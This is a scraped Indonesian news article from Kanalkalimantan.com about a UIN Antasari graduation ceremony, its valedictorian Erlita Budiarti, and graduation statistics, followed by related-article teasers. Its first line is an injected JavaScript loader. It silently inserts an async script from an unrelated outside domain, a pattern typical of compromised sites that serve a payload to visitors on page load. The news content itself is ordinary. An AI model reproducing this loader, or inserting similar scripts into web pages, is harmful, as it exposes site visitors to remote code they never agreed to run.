(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berdiri mantap di podium, Erlita Budiarti mewakili teman-temannya berpidato. Penyandang gelar SPd ini sukses menjadi yang terbaik pada wisuda sarjana ke-76 dan pascasarjana ke-46 Universitas Islam Negeri (UIN) Antasari.
Segudang prestasi dikantongi perempuan asal Kabupaten Kutai Kartanegara, Provinsi Kalimantan Timur ini.
Ya, jauh perjalanan menuju Banjarmasin, Kalimantan Selatan, yang ternyata telah menjadi kampus impiannya sejak kelas 11 di Madrasah Aliyah Negeri (MAN) 2 Kutai Kartanegara.
Pada upacara wisuda sarjana ke-76 dan pascasarjana ke-46 UIN Antasari meluluskan sebanyak 372 mahasiswa.
Baca juga: Polres Banjar Luncurkan Polisi RW, Ini Bedanya dengan Bhabinkamtibmas
“UIN Antasari Banjarmasin merupakan harapan saya dalam melanjutkan jenjang pendidikan yang lebih tinggi, kebanggaan bagi saya bisa merantau menyeberangi Teluk Laut Balikpapan menuju bagian selatan pulau Kalimantan,” ungkapnya saat memberikan sambutan, di Gedung serbaguna Kampus 2 UIN Antasari di Banjarbaru, Rabu (21/6/2023), dilansir uin-antasari.ac.id.
Selama empat tahun mengenyam bangku kuliah, ia mengaku menjalani dengan sangat menyenangkan, seiring ditunjang suasana yang ada, termasuk kelengkapan sarana prasarana kampus.
Kala masih kuliah, Erlita berkesempatan menjadi salah satu perwakilan Indonesia pada Konferensi Diplomacy Internasional Youth 20, bertemu dengan para mahasiswa dari berbagai negara.
“Ketika salah satu mahasiswa dari Singapura bertanya dimana kamu berkuliah?, saya menjawab di Universitas Islam Negeri Antasari Banjarmasin. Di sana saya melihat ada keterkejutan. Universitas Islam bisa mengikuti ajang seperti ini?’ kata mahasiswa Singapura itu. Tentu jawab saya dengan senang dan bangga,” ceritanya.
Hal ini tegas Erlita, berkat banyaknya fasilitas yang telah diberikan kampus, termasuk mutu dan budaya akademik yang berpadanan dengan visi dan misi UIN Antasari sebagai perguruan tinggi yang “Unggul dan Berakhlak”.
Baca juga; Tak Lagi Berdebu, Rektor UIN Antasari: Jalan Mulus Masuk Kampus 2
“Bagi saya, UIN Antasari merupakan rumah kedua. Saya dididik, diajarkan, bahkan mendapat banyak pengalaman yang luar biasa beragam. Di rumah kedua ini juga saya merasa diterima dengan baik, diarahkan, dan diberikan jalan untuk menuju mimpi yang saya impikan sejak lama,” ucapnya.
Tentunya cobaan dan ujian tak luput menerpa perjuangan Erlita selama menempuh pendidikan tinggi. Di antara yang membuatnya berduka adalah kepulangan sang ayah dipanggil Yang Maha Kuasa, di tengah-tengah perlombaannya di sebuah universitas swasta di Jakarta.
“Saya terdiam memikirkan bagaimana nasib saya selanjutnya. Namun, saya teringat tutur mama dan papa saya yang berkata ketika kamu berhenti, kamu tidak mendapatkan apa-apa. Tapi ketika kamu bangkit dari keterpurukan, kamu akan mendapatkan sebuah pengalaman, pembelajaran, hingga petualanganmu melalui beberapa rute yang tidak semua orang melewati fase sepertimu, maka bertahanlah!’,” kenangnya dengan tegar.
Selama menjadi mahasiswi, Erlita mengikuti 8 konferensi nasional maupun internasional, ikut mempublikasikan artikel di jurnal terakreditasi Sinta 4. Kini ia memiliki indeks prestasi kumulatif tertinggi di angka 3,89 pada program studi Bimbingan Konseling dan Pendidikan Islam.
Dalam wisuda kali ini ada 191 orang yang meraih nilai tinggi tersebut atau 51,35% dari total 372 peserta upacara wisuda sarjana ke-76 dan pascasarjana ke-46.
“Sedangkan predikat kelulusan sangat memuaskan sebanyak 47,04%, memuaskan 1,61%, dan predikat lulus 0%,” sebut Wakil Rektor Bidang Akademik dan Pengembangan Lembaga Dr Hj Nida Mufidah MPd. saat menyampaikan laporan.
Baca juga, Bersaksi di Sidang Korupsi Abdul Latif, Begini Pengakuan Mantan Wabup HST Chairansyah
Bahkan capaian penting ini turut ditunjang dengan cepatnya para mahasiswa S-1 menuntaskan perkuliahan, dengan 150 orang di antaranya bisa selesai 4 tahun.
“Sedangkan untuk 5 tahun ada 124 orang. Sementara di tingkat magister ada 4 orang yang mampu selesai kuliah dalam jangka 2 tahun,” sambung Wakil Rektor.
Pada kesempatan wisuda hari ini, berdasarkan SK Rektor UIN Antasari Nomor 626 Tahun 2023 tanggal 13 Juni 2023, ditetapkan 7 wisudawan dan wisudawati terbaik dari masing-masing fakultas dan pascasarjana. (Kanalkalimantan.com/uin-antasari.ac.id)
Editor: kk
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
This website uses cookies.